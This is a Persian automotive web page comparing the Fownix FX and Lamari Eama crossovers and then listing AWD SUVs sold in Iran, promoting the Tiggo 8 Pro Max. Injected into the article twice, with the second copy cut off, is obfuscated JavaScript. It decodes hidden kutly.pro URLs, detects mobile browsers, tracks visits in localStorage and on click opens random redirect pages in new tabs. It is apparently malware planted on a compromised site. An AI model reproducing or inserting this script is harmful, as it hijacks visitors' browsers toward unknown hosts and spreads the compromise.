دیفیوزر زیبای مشکی و سر اگزوزهای لوکس کرومی نمای اسپرتی پدیدار شده به‌طورکلی توی این مقایسه به جرعت میتوان گفت در قسمت بیرونی می‌توان طراحی FX را تا حدودی جذاب‌ و دلنشین تر دانست .

طراحی داخلی فونیکس اف ایکس و لاماری ایما

در بخش طراحی داخل کابین هردو خودرو دارای طراحی لوکس و مدرن یعنی نمایشگرهای متصل ‌به‌ هم برای صفحه ی آمپر و بخش مانتیور مدیا، در بخش فرمان هردو خودرو از غربیلک‌ فرمان D کات سه پره بهره می برند. نمایشگرهای هردوی این خودروها 10.25 اینچی می باشد. دریچه‌های تهویه هوا در لاماری ایما به شکل دایره‌ای و کنسول میانی این خودرو شبیه به مرسدس، فضای لوکسی را ایجاد کرده است. در مقابل آن چری در خودروی اف ایکس FX از دریچه‌های تهویه باریک افقی با رنگ مشکی براق استفاده کرده است. میتوان گفت طراحی رو دری‌ های فونیکسFX  زیباتر و لوکس‌تر نسبت به لاماری به نظر می‌رسد. در بخش داخلی این دو خودرو، طراحی کابین هردو قابل‌قبول و جذاب است ولی باز هم کفه ترازو کمی به سمت فونیکس FX سنگینی می‌کند.

مقایسه اف ایکس و لاماری

پیشرانه و گیربکس

فونیکس FX و لاماری جزء قوی‌ترین کراس‌اوورهای چینی موجود در بازار کشورمان محسوب می‌شود . البته فونیکس FX مجهز به یک پیشرانه 1.6 لیتری چهار سیلندر توربو GDI می باشد که از همان پیشرانه 1.6 لیتری توربوشارژ تیگو 8 پرو استفاده شده که قدرتی معادل 197 اسب بخار و 290 نیوتن متر گشتاور تولید میکند . سیستم تعلیق جلویی آن مک فرسون و در عقب مولتی لینک میباشد .

انتقال نیروی موتور این خودرو نیز مانند تیگو 8 پرو از طریق یک گیربکس هفت سرعته دوکلاچه تر صورت می‌گیرد. در مقابل لاماری ایما مجهز به یک پیشرانه 1.5 لیتری چهار سیلندر توربو میباشد که قدرتی معادل 195 اسب بخار و 285 نیوتن متر گشتاور تولید میکند سیستم تعلیق لاماری نیز مانند اف ایکس میباشد یعنی در قسمت جلویی مجهز به سیستم تعلیق مک فرسون و در عقب مولتی لینک میباشد و همچنین مجهز به یک گیربکس هفت سرعته دوکلاچه متصل شده است . در نتیجه میتوان گفت هردوی این خودروها از لحاظ قوای محرکه بسیار به هم نزدیک میباشند ولی باز هم کفه ی ترازو به سمت اف ایکس سنگینی میکند .

وزن و ابعاد

از نظر ابعادی اما لاماری با 4,565 میلیمتر طول، 1,860 میل‌متر عرض ،1,690 میلیمتر ارتفاع نسبت به FX که از نظر ابعادی 4,400 میلیمتر طول، 1,830 میل‌متر عرض، 1,585 میل‌متر ارتفاع دارد کمی بزرگ‌تر میباشد. ولی باید در نظر گرفت فونیکس اف ایکس با وزن 1444 کیلوگرم یعنی حدود صد کیلوگرم از لاماری ایما با وزن 1550 کیلوگرم سبک‌تر میباشد که این مقدار از کمتر بودن وزن می‌تواند موجب چابکی و شتاب بیشتر‌ این خودرو نسبت به لاماری شود. اف ایکس با شتاب صفرتاصدی زیر 8 ثانیه ای خود، رکورددار پرشتاب‌ترین خودروی مونتاژی کشور را به نام خود ثبت کرده است. ولی در مقابل آن لاماری برای رسیدن به سرعت صفرتا صدی خود به 9.5 ثانیه زمان نیاز دارد بنابراین در این بخش هم خودرو اف ایکس برنده این رقابت است.

مشخصات فنی  اف ایکس  FX و لاماری ایما

لاماری ایما فونیکس FX
پیشرانه 1.5 لیتری 4 سیلندر توربو 1.6 لیتری 4 سیلندر توربو
قدرت 195 اسب بخار 197 اسب بخار
گشتاور 285 نیوتن متر 290 نیوتن متر
گیربکس 7 سرعته دوکلاچه 7 سرعته دوکلاچه تر
محور محرک جلو جلو
وزن 1550 کیلوگرم 1444 کیلوگرم
طول 4,565 میلی‌متر 4,400 میلی‌متر
عرض 1,860 میلی‌متر 1,830 میلی‌متر
ارتفاع 1,690 میلی‌متر 1,585 میلی‌متر
فاصله محوری 2,715 میلی‌متر 2,630 میلی‌متر
حجم صندوق بار 480 لیتر 290 لیتر

مقایسه تجهیزات اف ایکس FX و لاماری ایما

در این بخش مقایسه ی تجهیزات رفاهی و ایمنی دو خودروی لاماری ایما و فونیکس اف ایکس را مقایسه می‌کنیم:

فونیکس FX لاماری ایما
نمایشگر 10.25 اینچی 10.0 اینچی
صفحه آمپر دیجیتالی 10.25 اینچی دیجیتالی 10.25 اینچی
سیستم صوتی 8 بلندگو سونی 6 بلندگو
سیستم تهویه اتوماتیک دو منطقه‌ای اتوماتیک
کروز کنترل تطبیقی تطبیقی
رادار نقطه کور دارد ندارد
رادار حرکت بین خطوط دارد ندارد
هشدار خروج از خط دارد ندارد
هشدار تغییر خط دارد ندارد
سیستم جلوگیری از خروج از خط دارد ندارد
هشدار برخورد جلو دارد ندارد
ترمز خودکار اضطراری دارد ندارد
کنترل خودکار نوربالا دارد ندارد
سیستم جلوگیری از برخورد دارد ندارد
ایربگ 6 عدد 6 عدد
ورود بدون کلید و استارت دکمه‌ای دارد دارد
صندلی راننده تنظیم 6 جهته برقی تنظیم 6 جهته برقی
صندلی سرنشین جلو تنظیم 4 جهته برقی دستی
گرم‌کن صندلی‌های جلو دارد ندارد
سردکن صندلی‌های جلو دارد ندارد
گرم‌کن و تنظیم برقی آینه‌ها دارد دارد
فرمان برقی برقی
غربیلک فرمان چرمی D شکل چرمی D شکل
تودوزی چرمی چرمی
دی‌لایت دارد دارد
ترمزها ABS و EBD ABS و EBD
ترمز پارک برقی دارد دارد
اتوهولد دارد دارد
کنترل شروع حرکت در سربالایی دارد دارد
سیستم کنترل پایداری ESC دارد دارد
سیستم کنترل کشش TCS دارد دارد
پایش باد تایرها دارد دارد
دوربین دید عقب دارد دارد
دوربین 360 درجه دارد ندارد
سنسور پارک عقب و جلو عقب
سانروف دارد دو حالته دارد دو حالته
خروجی برق 12 ولت و USB دارد دارد
شارژر بی‌سیم گوشی دارد ندارد
سنسور نور و باران دارد دارد
نورپردازی داخلی 64 رنگ دارد ندارد
سیستم فرمان صوتی دارد ندارد
کول باکس دارد دارد
پاور ویندوز و آنتی تروپ دارد دارد
درب صندوق برقی خودکار دارد ندارد
روشن کردن پیشرانه از راه دور دارد ندارد
حالت‌های رانندگی معمولی/اقتصادی/اسپرت اقتصادی/اسپرت
رینگ‌ها 18 اینچی دورنگ 19 اینچی

مقایسه اف ایکس و لاماری

فونیکس اف ایکس یا لاماری ایما آرین موتور ؟

حال با توجه به مقایسه انجام شده بین اف ایکس و لاماری ، برتری فونیکس FX در تجهیزات و آپشن های موجود نسبت به لاماری ایما کاملاً واضح بوده . فونیکس اف ایکس به عنوان یک کراس‌اوور جدید و لوکس علاوه بر برخورداری از امکانات رفاهی بیشتر از جمله گرم‌کن و سردکن صندلی‌های جلو ، کنترل تهویه دوآل ، شارژر بی‌سیم گوشی ، نورپردازی داخلی ، دارای سیستم‌های کمک‌راننده مدرن و نسبتاً کامل هم میباشد که از هیچ‌کدام آن‌ها در لاماری ایما استفاده نشده و این یک نقطه‌ضعف بزرگ برای آرین پارس موتور محسوب می‌شود . همچنین عرضه و تقاضای خودرو اف ایکس نیز نسبت به لاماری بیشتر بوده و بازار خرید و فروش بهتری را دارا میباشد . در مبحث خدمات پس از فروش باز هم کفه ترازو به سمت مدیران خودرو سنگینی میکند .

[/vc_column_text][/vc_column][/vc_row]
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

تیگو 8 پرومکس

مقایسه خودرو های AWD در بازار ایران

 

AWD مخفف عبارت All Wheel Drive است. این سیستم  نشان دهنده چهار چرخ متحرک بودن می‌باشند و بر روی خودروهای شاسی بلند و کراس اوور و سدان‌های اسپرت امروزی نصب می‌شود. سیستم چهار چرخ متحرک AWD، سیستم هوشمند تر و پیچیده تری نسبت به  سیستم چهارچرخ متحرک 4WD می‌باشد. در ادامه به مقایسه خودروهای AWD می پردازیم.

مقایسه خودرو های AWD

 

با توجه به قانون منع واردات تنها خودروهای لوکس دو دیفرانسیل موجود در بازار ایران به شرح زیر می باشند .

کیا اسپورتیج مجهز به یک موتور ۲.۴ لیتری MPI با توان تولید قدرتی معادل ۱۷۶ اسب‌بخار و ۲۲۷ نیوتن‌متر گشتاور تولید می‌کند. انتقال قدرت به وسیله گیربکس ۶ سرعته اتوماتیک به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 11.8 لیتر است.

میتسوبیشی ASX مجهز به یک موتور ۲ لیتری با توان تولید قدرتی معادل ۱۴۸ اسب‌بخار و ۱۹۷ نیوتن‌متر گشتاور تولید می‌کند. انتقال قدرت به وسیله گیربکس6 سرعته CVT به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 8.4 لیتر است.

سوزوکی گرند ویتارا مجهز به یک موتور ۲.۴ لیتری با توان تولید قدرتی معادل ۱۶۹ اسب‌بخار و ۲۲۷ نیوتن‌متر را از گشتاور تولید می‌کند انتقال قدرت به وسیله گیربکس ۴ دنده اتوماتیک به چرخ‌ها منتقل میشود. مصرف سوخت ترکیبی آن حدود 9.7 لیتر است.

سانگ یانگ نیو کوراندو مجهز به یک موتور ۲ لیتری با توان تولید قدرتی معادل ۱۵۰ اسب‌بخار و ۱۹۷ نیوتن‌متر گشتاور تولید کند. انتقال قدرت به وسیله گیربکس ۶ سرعته اتوماتیک به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 7.5 لیتر است.

نیسان جوک اسپرت مجهز به یک موتور ۱.۶ لیتری توربو با توان تولید قدرتی معادل ۱۹۰ اسب‌بخار و ۲۴۰ نیوتن‌متر گشتاور تولید کند. انتقال قدرت به وسیله گیربکس CVT ایکس‌ترونیک به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 7.6 لیتر است.

کیا سورنتو مجهز به یک موتور 2.4 توربو با توان تولید قدرتی معادل ۱۸۸ اسب بخار و ۲۴۱ نیوتن متر گشتاور تولید کند. انتقال قدرت به وسیله گیربکس ۶ دنده اتوماتیک به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 8.8 لیتر است.

مقایسه خودرو های AWD

هیوندای سانتافه2018 مجهز به یک موتور 2.4 لیتری با توان تولید قدرتی معادل ۱88 اسب‌بخار و ۲۴5 نیوتن‌متر گشتاور تولید کند. انتقال قدرت به وسیله گیربکس ۶ دنده اتومات به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 11.1 لیتر است.

ایکس تریل ۲۰۱۸ مجهز به یک موتور 2.5 لیتری با توان تولید قدرتی معادل ۱۷۰ اسب‌بخار و 226 نیوتن متر گشتاور تولید کند. انتقال قدرت به وسیله گیربکس ۷ دنده CVT ایکس‌ترونیک، نیروی موتور را به هر چهار چرخ خودرو منتقل کند. مصرف سوخت ترکیبی آن حدود 8.3 لیتر است.

رنو داستر مجهز به یک موتور ۲ لیتری با توان تولید قدرتی معادل ۱۳۵ اسب‌بخار و ۱۹۵ نیوتن‌متر گشتاور تولید کند. برای انتقال قدرت به وسیله گیربکس  ۴ سرعته اتوماتیک به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 9 لیتر است.

دایون  Y5 مجهز به یک موتور ۲ لیتری توربو با توان تولید قدرتی معادل ۲۰۱ اسب بخار و ۲۸۰ نیوتن‌متر گشتاور تولید کند. برای انتقال قدرت به وسیله گیربکس ۶ سرعته خودکار نیرو را به هر چهار چرخ منتقل می‌کند.مصرف سوخت ترکیبی آن حدود 9.3 لیتر است.

سانگ یانگ تیوولی مجهز به یک موتور 1.6 لیتری با توان تولید قدرتی معادل 128 اسب‌بخار و 160 نیوتن‌متر گشتاور تولید می‌کند. انتقال قدرت به وسیله گیربکس 6 سرعته تیپ‌ترونیک بوده نیروی موتور به هر چهار چرخ خودرو منتقل می‌کند. مصرف سوخت ترکیبی آن حدود 7.2 لیتر است.

راوفور  مجهز به یک موتور 2.5 لیتری با توان تولید قدرتی معادل 177 اسب ‌بخار و 233 نیوتن ‌متر گشتاور تولید می‌کند. انتقال قدرت به وسیله گیربکس 6 سرعته به هر چهار چرخ خودرو منتقل می‌کند. مصرف سوخت ترکیبی آن حدود  8.1لیتر است

تویوتا CHR مجهز به یک موتور 1.2 لیتری توربو با توان تولید قدرتی معادل 116 اسب بخار و 185 نیوتن‌ متر گشتاور تولید می‌کند. انتقال قدرت به وسیله جعبه‌دنده CVT نیروی موتور به هر چهار چرخ خودرو منتقل می‌کند. مصرف سوخت ترکیبی آن حدود 6.5 لیتر است.

هیوندای توسان2018 مجهز به یک موتور 2.0 لیتری با توان تولید قدرتی معادل 155 اسب ‌بخار و 192 نیوتن‌ متر گشتاور تولید می‌کند. انتقال قدرت به وسیله جعبه‌دنده 6 سرعته تیپ‌ترونیک اتوماتیک نیروی موتور را به هر چهار چرخ خودرو منتقل میکند. مصرف سوخت ترکیبی آن حدود 8 لیتر است.

مقایسه خودرو های AWD

ایکس تریل 2018 مجهز به یک موتور 2.5 لیتری با توان تولید قدرتی معادل 170 اسب‌ بخار و 226نیوتن متر گشتاور تولید میکند. انتقال قدرت به وسیله گیربکس 7 دنده CVT ایکس‌ترونیک، نیروی موتور را به هر چهار چرخ خودرو منتقل میکند. مصرف سوخت ترکیبی آن حدود 8.3 لیتر است.

و در مقابل این خودروها فونیکس تیگو 8 پرومکس با موتور دو لیتری توربوشارژر جی دی آی قرار دارد با توان تولید قدرتی معادل 254 اسب بخار و 390 نیوتن متر گشتاور که موجب می شود قدرت بیشتری برای هر چرخ فراهم شود. همچنین فونیکس تیگو 8 پرومکس مجهز به یک گیربکس 7 سرعته دوکلاچه تر (قوطه ور در روغن) می باشد که وظیفه انتقال قدرت و نیرو به هر یک از چهار چرخ را برعهده دارد. شتاب صفر تا صد این خودرو به صورت رسمی 7.8 ثانیه اعلام شده. مصرف سوخت ترکیبی آن به ازای هر صد کیلومتر پیمایش 7.2 لیتر می باشد پرچم دار جدید مدیران خودرو یعنی فونیکس تیگو 8 پرومکس که به تازگی وارد بازار ایران شده گزینه مناسبی برای افرادیست که خودرویی لوکس دو دیفرانسیل با قیمت مناسب در بازار ایران میخواهند این خودرو لوکس جزو پر آپشن ترین خودروهای موجود در بازار ایران میباشد که میتوان از جمله سیستم های ایمنی آن میتوان به سیستم ترمز و پایداریABS – EBD – BOS – ESP – TCS – EBA – HAC – HDC سیستم ضد سرقت ایمو بلایزر

کیسه هوا برای سرنشینان جلو، جانبی و پرده ای، مجموعاً 6 کیسه هوا را نام برد.

و از جمله سیستم های رفاهی این خودرو نیز میتوان به سیستم صوتی و صفحه نمایش 12.3 اینچی، Android Mirror Link، مجهز به 8 بلندگو سونی مجهز به آمپلی فایر که صدا را تقویت میکنند

دیگر تجهیزات آن میتوان به ترمز پارک برقی، اتوهلد، رینگ 18 اینچی، دوربین 360 درجه، دوربین دنده عقب داینامیک، سنسور باران و نور، سنسور پارک در جلو و عقب، سیستم کنترل باد لاستیک ها TPMS، سانروف یکپارچه و چند حالته، سیستم ADAS رانندگی خودکار، کروز کنترل تطبیقی، سیستم کنترل خروج از خطوط، چراغ های LED مجهز به AFS، تنظیم ارتفاع خودکار چراغ های جلو، فرمان برقی دی کات، تنظیم برقی صندلی ها در 6 جهت و تنظیم گودی کمر در 4 حالت، گرمکن و سردکن صندلی های جلو، گرم کن آینه بغل، کول باکس، ورود بدون کلید، دکمه استارت، باز شدن برقی درب عقب اشاره کرد.

این خودرو دارای 6 حالت رانندگی می باشد، حالت های رانندگی خودروی فونیکس تیگو 8 پرومکس شامل : اکو (ECO)، نرمال (NORMAL)، اسپرت (SPORT)، برفی (SNOW)، باتلاقی (MUD)، آفرود (OFF-ROAD)

تکنولوژی سیستم AWD در تیگو 8 پرو مکس بر اساس تکنولوژی ZF آلمان توسعه یافته که جزو برترین قطعه سازی های دنیا می باشد.

مشخصات محصول و شرایط فروش تیگو 8 پرو مکس

 
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var 